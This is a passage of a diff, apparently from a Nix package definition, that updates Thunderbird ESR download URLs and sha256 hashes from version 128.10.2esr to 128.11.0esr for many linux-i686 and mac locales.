-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/nl/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/nl/thunderbird-128.11.0esr.tar.bz2";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "ce88dedc9da2f2ab2851fddbd44c00cbe4fc74003f969f9613e691c9de5ccbc9";
+      sha256 = "6213d0b2338c7bb96e489bb98497f411258ed7d5b9ff911e1190cb46a19371a9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/nn-NO/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/nn-NO/thunderbird-128.11.0esr.tar.bz2";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "413cb0d84dbba0c3526f7c481fee6259cb8091bfd4f15d93aad0859b9efa5c30";
+      sha256 = "7fab860f87513fd6d51d5059885080eba0145679ae0e08cd32a5fcbce4b5574a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/pa-IN/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/pa-IN/thunderbird-128.11.0esr.tar.bz2";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "cd27f82b0c424271f72713280691a0822454cc34359102b3bb3746da4c0e12fb";
+      sha256 = "71812f79a2caaf52d82d0c979a00d9617dc61cce7271e9fe7a77a0390d4781ff";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/pl/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/pl/thunderbird-128.11.0esr.tar.bz2";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "6319af7ae44e5c7c70447eaff2d08c40c94bd148b12ee503cb46ec60ed67ecec";
+      sha256 = "c21318200cf87abf4ed29ee28042194e2e98476ec6b0b5e5a969c6f03edec86c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/pt-BR/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/pt-BR/thunderbird-128.11.0esr.tar.bz2";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "8c7795b78e5b33e796c62d3cf6b14923f800dff9780586cf5b5e09c4a08bd1b5";
+      sha256 = "38f250376d391e3b1d6e8911ffa17f958499635f5edbdf1f24ac1fe20b954d5d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/pt-PT/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/pt-PT/thunderbird-128.11.0esr.tar.bz2";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "537275194481b434b4da764f531982b3cddc65026772c6eca4bab7716324bcd7";
+      sha256 = "49486228ff9d9386c30121f0486e6706d0f0288a98d1a609b744b72e9b33f75e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/rm/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/rm/thunderbird-128.11.0esr.tar.bz2";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "9184a43ea9278cd8e21a87a9e01e798a87fd4c5f16bb726dfddd388691381e02";
+      sha256 = "0ea2ca69000833a10ce6514c29271cef21f3d9f5c8190e65f7a4fb6e04772b11";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/ro/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ro/thunderbird-128.11.0esr.tar.bz2";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "872af950a18ad098b7451bb9a5e3db9e59ef4a4dc6397f745bc33498c65c0123";
+      sha256 = "711600bf95079a73f2bb8eaa4f38a03f6f19a6ec0cc2a7eb190bc83e2691b400";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/ru/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ru/thunderbird-128.11.0esr.tar.bz2";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "2fa2eed44bb13725e284f48e48a258d1c94cc703a1e828dd0dddb68ab71275cc";
+      sha256 = "ae8a9c18f949cc8da0b59b1c5d0d8fcb8971c17b877ab3186d7db6ce7e4d1a5b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/sk/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/sk/thunderbird-128.11.0esr.tar.bz2";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "2b42255b7b46701a3d36a63402aba2897d92feda5264b4b815054f51aabf1c26";
+      sha256 = "d208072fad055567a49aaebd077d0792ccd1eb5abe06bd1ded38290acb46be84";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/sl/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/sl/thunderbird-128.11.0esr.tar.bz2";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "5d624398004e5057e70f27032b65556617b5f523916d63dd06912d909d79570b";
+      sha256 = "1dfb61309fe70f8e2e150eec820f8b781fddaca80eb505aeacab20a606b79348";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/sq/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/sq/thunderbird-128.11.0esr.tar.bz2";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "d18adc705068b99e1a8db93fcf61354cf9d7e635242d040a6df999f75db47534";
+      sha256 = "e840139cab6e541aadee9176a499e8b43bdfe5b235c027be057863504ca8e8e4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/sr/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/sr/thunderbird-128.11.0esr.tar.bz2";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "b88f6abf7f6b07221f218b1ec37598b9aa01dd9e2d0438f2de64ecb75a741aa4";
+      sha256 = "e0bf6f7b511f42abe57aa8fb60c2c17644917b64fb2cce153d84c4c05f768c4c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/sv-SE/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/sv-SE/thunderbird-128.11.0esr.tar.bz2";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "54605b5dfdd075d90a47df2bf2b0de2e4d09efc69d94978e9602c703c11cee3c";
+      sha256 = "7a0c15fd62d7cac19603703ea98db055a8f6a2919b3014c24d4239ec81a9affa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/th/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/th/thunderbird-128.11.0esr.tar.bz2";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "bbfbb4c2054b83dcb5eb8d462b3e5f1a3484718107ab76209c10b38036b2fbb7";
+      sha256 = "a7ea7940d8633b658434bda40237fe6ade0d53119df682d3cf29e22dbc40d0a7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/tr/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/tr/thunderbird-128.11.0esr.tar.bz2";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "7e680d399821d1c598539f96e8620230fc3189f4db4e69726ac4f5290cac5847";
+      sha256 = "b0eeccd04d688630eaf5b89abb315a8ae6d26ebdc9aa81e162de038f0b9ce823";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/uk/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/uk/thunderbird-128.11.0esr.tar.bz2";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "30ba8c50de9f3fadbbb6f2e8f266d23a4a2a3fa790017eca5a6cdd20ee0ab2cb";
+      sha256 = "8887e558faf706e0d06361263467c530f0effbb5d98182f9c0a86660f43070ef";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/uz/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/uz/thunderbird-128.11.0esr.tar.bz2";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "6e58618fe41416118fa64b2ed39673c288ae201bc6d79b3babf91d92bc1ae52d";
+      sha256 = "7340529cc7b782a976198ff9b406cc2ece3b38b5cb21e06f671a0dbe9e69624f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/vi/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/vi/thunderbird-128.11.0esr.tar.bz2";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "278150ef1e4da83135d923bf6946e055429c1b868b6497e2883e73829420ec52";
+      sha256 = "90fe241497823b198b05204ec7912286cf17adfab93278ef7ef6e3751a929505";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/zh-CN/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/zh-CN/thunderbird-128.11.0esr.tar.bz2";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "1aadf0d5c77ca3953c69a0ee83d50b5478d6ee0a104727808915daf6ef510e0e";
+      sha256 = "bce0ff5de4331df1318b97af68fdfcad66510bb3a45896c192e6a6430aebf884";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/zh-TW/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/zh-TW/thunderbird-128.11.0esr.tar.bz2";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "927a901e7cb354a70a019def25a083acd69d24ef818413baf0b40a37cd4e26ce";
+      sha256 = "0eb96f16b451c7f7dc767c5902cf718f23900e172f58fb75cf904ae2ac80c522";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/af/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/af/Thunderbird%20128.11.0esr.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "22ca7995531360cf6e04e7b2c3bfac9f3c3893d3a81babd97554d2a0dce08c4f";
+      sha256 = "da085fe383e5180a2a4f8c0f09d00a6aefb34f87165fa1294f3cd695d2fe1243";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/ar/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ar/Thunderbird%20128.11.0esr.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "415f3d70a41725d05501664af3fbe49baa22993b3c58b13b2a7753d9dedd581e";
+      sha256 = "1669163e39c4faa41b731b3d3706dac9a711137ca9579aa08e4f5f0e415268bf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/ast/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ast/Thunderbird%20128.11.0esr.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "ed97924c303731cc3f51b8a6eec6cc7fc301ca0343ddc0b2795090145742f1b9";
+      sha256 = "15bed24f02a8acee10d8d1032d61192e69b51dd27b0c27111ffdd69bc01059ce";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/be/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/be/Thunderbird%20128.11.0esr.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "233dbc1b8cc02a148dc8edb0af5c7330f032f926756a2fa724f70757a76d6d6b";
+      sha256 = "2ee91bc9d17323daddf940b1404483b76fbd453e466389167b2ab5fe94b18c94";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/bg/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/bg/Thunderbird%20128.11.0esr.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "92c6566551fca5783fcdff48c144884e3e11fc86df70e09255dda0d3ff55e4d2";
+      sha256 = "f443a05e626c2d97393f5837e74c73060d70d16986e03f59136f775ef6e4736d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/br/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/br/Thunderbird%20128.11.0esr.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "8dff7c98c95a3d8c88e5c1a08ed1b186fc87814a611639174eb21264d551e1ab";
+      sha256 = "0fc5557a2e70a23e57ec42dfadd6845ee45216a381ec0fc10180243d66615a73";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/ca/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ca/Thunderbird%20128.11.0esr.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "d259d8ba72b06118bb80d363a72419c11d4ba2fd598ecb263426a00ea9984f33";
+      sha256 = "1e6362c01b20e61d6b01e6c7b99844463db75d87bdc42a0481fa2ceea74df788";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/cak/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/cak/Thunderbird%20128.11.0esr.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "5209334c9054da4367140e218596ab6cbcec6e6ef9845d2efad82bf34243fdf4";
+      sha256 = "a7cd7e195246ba738fc992f2dd5c157ed3f857cf4cd6c3925a8a5138de2c1df4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/cs/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/cs/Thunderbird%20128.11.0esr.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "3d8584c0fd7c98df5ea5e816b88d5a8d3e030ecf2d698733d973de1b93416582";
+      sha256 = "25698c35ea90de843cb228a31190c708b4f50868bae5fa86ff6108009984878b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/cy/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/cy/Thunderbird%20128.11.0esr.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "ffc4c090213902fbd1bf1bb0669cac59c2977db112fb2c6209c95b3826f23fd2";
+      sha256 = "a00be11e9f16854b74681cdda118bce2fc6c89dca9cdb7e94ab029556179d10b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/da/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/da/Thunderbird%20128.11.0esr.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "78333c27a23b07df19e3432dcc495d7b4e5213135d46de580a044e551ba24db5";
+      sha256 = "a2e83e16817051806676f162881e4e86e02c66597e373310b21ad1008146bb20";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/de/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/de/Thunderbird%20128.11.0esr.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "cf64fb1dff251b9be08d2c292b3bbb5bf3bf21934d4fd36fb8e86cc1871ea2cf";
+      sha256 = "f4d06c64a3e88ed08eee81b0f6fbf9ba58a9b08b41908324547f7490bca4b279";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/dsb/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/dsb/Thunderbird%20128.11.0esr.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "aff968d157a7205389f190187e6f75037312eaf68388662159095d7e1f9edac3";
+      sha256 = "ef0140803e0c66de10fbed038c9222b37ae4720f40351bb45cd04c6aac4c731f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/el/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/el/Thunderbird%20128.11.0esr.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "3e4cafc655fdbc05875cc9bd228a1bcfb66c04c6f3c619f2019c16e21505e95d";
+      sha256 = "9b6ee192ada2e5b8676d5f1aefcd8e22cc99c9a1eaabcd298fcf706eb62863b1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/en-CA/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/en-CA/Thunderbird%20128.11.0esr.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "fb0ca3007309d3185f88027ef1e15839b570c6e9560cc5bd2978035279908b0b";
+      sha256 = "ac02b3c4c3230ee3cc398c4ecef9909efabfc501d47168861d9c0df272f9519d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/en-GB/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/en-GB/Thunderbird%20128.11.0esr.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "caa3e8b45758357221dab746f37b86bf619fac54eb8d5805a9f66569e2d04df8";
+      sha256 = "bc2c20160179b52efa9a5709ed4f3275560dfdaa0e4d3ca10766689e844f712a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/en-US/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/en-US/Thunderbird%20128.11.0esr.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "ba9e09dd0def5c75735722243e4b8d7da5ba2b11dd3b8994d1d930c9c0add1e6";
+      sha256 = "4be869257fa9b50364f9f1cbe64e9b89520a4b1d11c1bf7727ea002320a0d7f3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/es-AR/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/es-AR/Thunderbird%20128.11.0esr.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "25c5aded50b3fb96260c475c552e7658425a5ca8c72a132a2ab1b125e40fe39f";
+      sha256 = "e3bdbec28bf3cd1f63693581bd4bb3f402da1f1c4c9a850442a3c36f182524a1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/es-ES/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/es-ES/Thunderbird%20128.11.0esr.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "c9bbc6a4426ade7e37c2bd3bfb4bfdb61ab4dd1de93f7a0431663496eacc0d6e";
+      sha256 = "9d4ce0f71c07514a34c4d28b19eb5dab2502770ff9da96649957808ab1b07b82";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/es-MX/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/es-MX/Thunderbird%20128.11.0esr.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "7348b0c7216b3291e4b38f28164377aae4c661c1ceb054a2d9230dd6588059f5";
+      sha256 = "7213926fd638ed67f2393d7eeae3cc648003b43f2713fed5c45c48a71957727f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/et/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/et/Thunderbird%20128.11.0esr.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "5dcaa2f42d9622ab70fefb8d0ad628b755db7089521760942fd2ce4ef657841f";
+      sha256 = "eebd432cc11c7c5f464c88c31b79f02152dcf131959f15fa53580aa8d0073ead";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/eu/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/eu/Thunderbird%20128.11.0esr.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "a07eb1c197c794de75dd775e28de9d22c475bb9a307bf1907b3c79352dfe21d7";
+      sha256 = "f78b9242f66418c1b654c67ae43f4705c5c725f116061778905ff649d753f0c7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/fi/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/fi/Thunderbird%20128.11.0esr.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "432fed748bb7f6e6e208a5bb5df1473c02fa907c3b8e29ec533b5c941cbd4875";
+      sha256 = "1c76f1a38ff3e5d1ec1b118e014eebccfe09e1a7375b337128978adfbbe8e31b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/fr/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/fr/Thunderbird%20128.11.0esr.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "85102f7fa7354b8ef9781818f7652bc44022a9f63a38ce9b9d19badf65b0c444";
+      sha256 = "b900fdb8621904b6bc8d2f730e4896ae82f7cfa4847fdbfb6c5e30716ecb529f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/fy-NL/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/fy-NL/Thunderbird%20128.11.0esr.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "0964debe3d588a2225e71d5ad80dc0eb1feb1ef36e62c90bad2bb130b98c1b8e";
+      sha256 = "00a351ef965a57b89a8b7fa5ba7b198c5ebba3d418c8484601146e501f129f16";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/ga-IE/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ga-IE/Thunderbird%20128.11.0esr.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "e10a02e2fcd554e0c909ca742123fa643533cd4e9e39a346321a1d7dabb85fd4";
+      sha256 = "9099460bf5eb5ac6299559a987105c8d1463118e60b3acb8e834a7305e14ee86";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/gd/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/gd/Thunderbird%20128.11.0esr.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "9c5717d49db87fe568bf886768b87609fd3e5a10715d4eb62959e096d7af254c";
+      sha256 = "1c7e069df9a19230ed6b894e3185c1b7b171ae0d5f1fac1c1bfb5c56317d50e1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/gl/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/gl/Thunderbird%20128.11.0esr.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "c7b0811dd4fab566df241e36f66db7e102b8f890a052fa9bd200fa98a9213f11";
+      sha256 = "8b7c53595ac38cb56a4977b260a61552630b24601db4dc383a1d2be5944e538d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/he/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/he/Thunderbird%20128.11.0esr.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "6aee90447ba014314aa57329b4276e9a72212283d1ef940c5107b81e167eede4";
+      sha256 = "b8a50d2f13c25acfc52c8d28e833f524b92bca7d1af838cb25f67d05356b55cf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/hr/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/hr/Thunderbird%20128.11.0esr.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "1b4a9f58301104832d2aed47e18e55a76f98be0de0c410586a3314bce0b264d7";
+      sha256 = "f5a53ab0f611af6047bc58742f4ad3da14ef41478ab9b52ce2425ee3a7f1f686";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/hsb/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/hsb/Thunderbird%20128.11.0esr.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "a16ee92d77c6fc479b90eb1e72ee545389c0fb811384f772f50a5e3ca25cdf0a";
+      sha256 = "6aa2fa1e62297d244fd18ac2f2517e75c9c8c381ac67fb0f14b9c3ad330529c2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/hu/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/hu/Thunderbird%20128.11.0esr.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "fd406f8f4ca98767e8bbecd8240a9e426f08499ae22c1d144279d6f8685f9b32";
+      sha256 = "fbbfa983987a224920cc4fb806703e51e689f1d35801dfdea63a9f0249105a64";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/hy-AM/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/hy-AM/Thunderbird%20128.11.0esr.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "64f481062e8b9706dbd59432f33a288451eb3e7366ee261f750eaf710c142694";
+      sha256 = "a45d3670f7f0e3b4556137d93dc6dd6754addf14998de1b2e4e849027e459d56";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/id/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/id/Thunderbird%20128.11.0esr.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "f567578b4de2d52d589b5be3bb00935f2bdf7b5b9aedbf527c5c3549976e1b66";
+      sha256 = "00a7e4b6b9448e977952e0bb1784e863d444063604653f138202b93600477d43";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/is/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/is/Thunderbird%20128.11.0esr.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "d3fdf81c1679d7ca1dd3ad0b436238d74074142c02fd3998621de287273a27ce";
+      sha256 = "2a7ed1ddba330a2bea14ee1ebe03355e86243b257eecd289ba28a3ba95a11c3a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/it/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/it/Thunderbird%20128.11.0esr.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "e75713c79859185182a47d599881af6d5612259c0023bb48fdff6ed0e05d3bcc";
+      sha256 = "7da455c0c44b199cc46311ed898f851f0e41b7d948e3e8098fe4ec61b8d8e135";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/ja-JP-mac/Thunderbird%20128.10.2esr.dmg";
